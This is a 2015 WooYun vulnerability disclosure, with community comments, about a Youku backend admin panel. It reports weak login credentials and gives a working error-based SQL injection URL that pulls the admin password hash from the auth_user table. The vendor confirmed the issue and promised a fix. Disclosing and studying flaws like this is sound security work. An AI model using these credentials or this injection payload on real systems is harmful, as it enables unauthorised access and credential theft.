当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-093171

漏洞标题：优酷某后台强弱口令及注入

相关厂商：优酷

漏洞作者： 杀器王子

提交时间：2015-01-21 16:27

修复时间：2015-03-07 16:28

公开时间：2015-03-07 16:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-21： 细节已通知厂商并且等待厂商处理中
2015-01-21： 厂商已经确认，细节仅向厂商公开
2015-01-31： 细节向核心白帽子及相关领域专家公开
2015-02-10： 细节向普通白帽子公开
2015-02-20： 细节向实习白帽子公开
2015-03-07： 细节向公众公开

简要描述：

神器不是万能的

详细说明：

http://mpcms.youku.com/
弱口令 test/Ab123456

Snip20150121_4.png


django写的 查询存在注入

http://mpcms.youku.com/qdsym/index?starttime=2015-01-01&endtime=2015-01-20&business_type=6,1&os_id=1') and 1=(updatexml(1,concat(0x3a,(select password from auth_user where username='admin' limit 0,1)),1))%23


漏洞证明：

Snip20150121_6.png

Snip20150121_7.png


300+内部用户

修复方案：

版权声明：转载请注明来源 杀器王子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-01-21 16:42

厂商回复：

感谢提交，马上修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-21 16:29 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光，在还未发光之前，先打磨打...)

    强势归来

  2. 2015-01-21 16:34 | f4ck ( 实习白帽子 | Rank:42 漏洞数:5 | 有些人很牛B，一个漏洞能刷成N个。)

    强弱口令~ 新技能get

  3. 2015-01-21 16:37 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:207 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    神器是万能的

  4. 2015-01-21 16:42 | 小孩 ( 路人 | Rank:1 漏洞数:2 | 杀器王子的小太阳)

    呀呀呀 没抢到沙发，说好先通知的啊 杀器王子的小太阳来啦~

  5. 2015-01-21 18:20 | 小孩 ( 路人 | Rank:1 漏洞数:2 | 杀器王子的小太阳)

    杀器王子的小太阳广播：杀器王子Rank值今日破300，15年伊始，杀器王子还差86分超赶一直以来超群绝伦的猪猪侠。

  6. 2015-01-21 20:28 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:78 | ★ 梦想这条路踏上了，跪着也要...)

    神器不是万能的，但是杀器却是

  7. 2015-01-21 23:02 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技，肉肉在长亭科技，肉肉在长...)

    T_T又没抢到shafa

  8. 2015-03-07 20:49 | 天下第一女法师 ( 实习白帽子 | Rank:56 漏洞数:9 | 口算md5)

    @小孩 都是乌云工作人员 全部走的大厂商

  9. 2015-03-08 14:49 | Cutecarrot ( 路人 | 还没有发布任何漏洞 | 某高校EE狗。)

    生产环境中，debug居然不关掉？正在用Django写东西，觉得它orm封装还是很安全的，

  10. 2015-03-17 17:46 | 小孩 ( 路人 | Rank:1 漏洞数:2 | 杀器王子的小太阳)

    @天下第一女法师 好像明白了什么